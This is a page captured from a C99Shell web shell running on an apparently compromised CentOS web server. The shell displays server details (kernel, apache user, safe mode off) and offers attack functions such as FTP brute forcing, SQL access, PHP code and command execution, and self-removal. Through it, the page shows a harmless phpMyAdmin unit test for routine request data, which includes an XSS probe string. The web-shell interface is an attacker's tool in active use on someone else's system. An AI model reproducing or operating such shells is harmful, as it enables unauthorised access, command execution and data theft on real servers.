!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/libraries/rte/   drwxr-xr-x
Free 8.93 GB of 93.48 GB (9.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PMA_RTN_getDataFromRequest_test.php (9.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Test for fetching routine data from HTTP request
 *
 * @package PhpMyAdmin-test
 */

require_once 'libraries/Util.class.php';
require_once 
'libraries/php-gettext/gettext.inc';
require_once 
'./libraries/Types.class.php';

/*
 * Include to test.
 */
require_once 'libraries/rte/rte_routines.lib.php';

/**
 * Test for fetching routine data from HTTP request
 *
 * @package PhpMyAdmin-test
 */
class PMA_RTN_GetDataFromRequest_Test extends PHPUnit_Framework_TestCase
{
    
/**
     * Set up
     *
     * @return void
     */
    
public function setUp()
    {
        global 
$cfg;

        
$cfg['ShowFunctionFields'] = false;

        
$GLOBALS['PMA_Types'] = new PMA_Types_MySQL();
    }

    
/**
     * Test for PMA_RTN_getDataFromRequest
     *
     * @param array $in  Input
     * @param array $out Expected output
     *
     * @return void
     *
     * @dataProvider provider
     */
    
public function testgetDataFromRequest($in$out)
    {
        global 
$_REQUEST;

        unset(
$_REQUEST);
        foreach (
$in as $key => $value) {
            if (
$value !== '') {
                
$_REQUEST[$key] = $value;
            }
        }
        
PMA_RTN_setGlobals();
        
$this->assertEquals($outPMA_RTN_getDataFromRequest());
    }

    
/**
     * Data provider for testgetDataFromRequest
     *
     * @return array
     */
    
public function provider()
    {
        return array(
            array(
                array(
                    
'item_name'                 => '',
                    
'item_original_name'        => '',
                    
'item_returnlength'         => '',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => '',
                    
'item_definition'           => '',
                    
'item_comment'              => '',
                    
'item_definer'              => '',
                    
'item_type'                 => '',
                    
'item_type_toggle'          => '',
                    
'item_original_type'        => '',
                    
'item_param_dir'            => '',
                    
'item_param_name'           => '',
                    
'item_param_type'           => '',
                    
'item_param_length'         => '',
                    
'item_param_opts_num'       => '',
                    
'item_param_opts_text'      => '',
                    
'item_returntype'           => '',
                    
'item_isdeterministic'      => '',
                    
'item_securitytype'         => '',
                    
'item_sqldataaccess'        => ''
                
),
                array(
                    
'item_name'                 => '',
                    
'item_original_name'        => '',
                    
'item_returnlength'         => '',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => '',
                    
'item_definition'           => '',
                    
'item_comment'              => '',
                    
'item_definer'              => '',
                    
'item_type'                 => 'PROCEDURE',
                    
'item_type_toggle'          => 'FUNCTION',
                    
'item_original_type'        => 'PROCEDURE',
                    
'item_num_params'           => 0,
                    
'item_param_dir'            => array(),
                    
'item_param_name'           => array(),
                    
'item_param_type'           => array(),
                    
'item_param_length'         => array(),
                    
'item_param_opts_num'       => array(),
                    
'item_param_opts_text'      => array(),
                    
'item_returntype'           => '',
                    
'item_isdeterministic'      => '',
                    
'item_securitytype_definer' => '',
                    
'item_securitytype_invoker' => '',
                    
'item_sqldataaccess'        => ''
                
)
            ),
            array(
                array(
                    
'item_name'                 => 'proc2',
                    
'item_original_name'        => 'proc',
                    
'item_returnlength'         => '',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => '',
                    
'item_definition'           => 'SELECT NULL',
                    
'item_comment'              => 'some text',
                    
'item_definer'              => 'root@localhost',
                    
'item_type'                 => 'PROCEDURE',
                    
'item_type_toggle'          => 'FUNCTION',
                    
'item_original_type'        => 'PROCEDURE',
                    
'item_param_dir'            => array(=> 'IN'=> 'FAIL'),
                    
'item_param_name'           => array(=> 'bar'=> 'baz'),
                    
'item_param_type'           => array(=> 'INT'=> 'FAIL'),
                    
'item_param_length'         => array(=> '20'=> ''),
                    
'item_param_opts_num'       => array(=> 'UNSIGNED'=> ''),
                    
'item_param_opts_text'      => array(=> ''=> 'latin1'),
                    
'item_returntype'           => '',
                    
'item_isdeterministic'      => 'ON',
                    
'item_securitytype'         => 'INVOKER',
                    
'item_sqldataaccess'        => 'NO SQL'
                
),
                array(
                    
'item_name'                 => 'proc2',
                    
'item_original_name'        => 'proc',
                    
'item_returnlength'         => '',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => '',
                    
'item_definition'           => 'SELECT NULL',
                    
'item_comment'              => 'some text',
                    
'item_definer'              => 'root@localhost',
                    
'item_type'                 => 'PROCEDURE',
                    
'item_type_toggle'          => 'FUNCTION',
                    
'item_original_type'        => 'PROCEDURE',
                    
'item_num_params'           => 2,
                    
'item_param_dir'            => array(=> 'IN'=> ''),
                    
'item_param_name'           => array(=> 'bar'=> 'baz'),
                    
'item_param_type'           => array(=> 'INT'=> ''),
                    
'item_param_length'         => array(=> '20'=> ''),
                    
'item_param_opts_num'       => array(=> 'UNSIGNED'=> ''),
                    
'item_param_opts_text'      => array(=> ''=> 'latin1'),
                    
'item_returntype'           => '',
                    
'item_isdeterministic'      => ' checked=\'checked\'',
                    
'item_securitytype_definer' => '',
                    
'item_securitytype_invoker' => ' selected=\'selected\'',
                    
'item_sqldataaccess'        => 'NO SQL'
                
)
            ),
            array(
                array(
                    
'item_name'                 => 'func2',
                    
'item_original_name'        => 'func',
                    
'item_returnlength'         => '20',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => 'CHARSET utf8',
                    
'item_definition'           => 'SELECT NULL',
                    
'item_comment'              => 'some text',
                    
'item_definer'              => 'root@localhost',
                    
'item_type'                 => 'FUNCTION',
                    
'item_type_toggle'          => 'PROCEDURE',
                    
'item_original_type'        => 'FUNCTION',
                    
'item_param_dir'            => array(=> ''=> ''),
                    
'item_param_name'           => array(=> 'bar'=> 'baz'),
                    
'item_param_type'           => array(
                        
=> '<s>XSS</s>',
                        
=> 'TEXT'
                    
),
                    
'item_param_length'         => array(=> '10,10'=> ''),
                    
'item_param_opts_num'       => array(=> 'UNSIGNED'=> ''),
                    
'item_param_opts_text'      => array(=> ''=> 'utf8'),
                    
'item_returntype'           => 'VARCHAR',
                    
'item_isdeterministic'      => '',
                    
'item_securitytype'         => 'DEFINER',
                    
'item_sqldataaccess'        => ''
                
),
                array(
                    
'item_name'                 => 'func2',
                    
'item_original_name'        => 'func',
                    
'item_returnlength'         => '20',
                    
'item_returnopts_num'       => '',
                    
'item_returnopts_text'      => 'CHARSET utf8',
                    
'item_definition'           => 'SELECT NULL',
                    
'item_comment'              => 'some text',
                    
'item_definer'              => 'root@localhost',
                    
'item_type'                 => 'FUNCTION',
                    
'item_type_toggle'          => 'PROCEDURE',
                    
'item_original_type'        => 'FUNCTION',
                    
'item_num_params'           => '2',
                    
'item_param_dir'            => array(),
                    
'item_param_name'           => array(=> 'bar'=> 'baz'),
                    
'item_param_type'           => array(=> ''=> 'TEXT'),
                    
'item_param_length'         => array(=> '10,10'=> ''),
                    
'item_param_opts_num'       => array(=> 'UNSIGNED'=> ''),
                    
'item_param_opts_text'      => array(=> ''=> 'utf8'),
                    
'item_returntype'           => 'VARCHAR',
                    
'item_isdeterministic'      => '',
                    
'item_securitytype_definer' => ' selected=\'selected\'',
                    
'item_securitytype_invoker' => '',
                    
'item_sqldataaccess'        => ''
                
)
            ),
        );
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--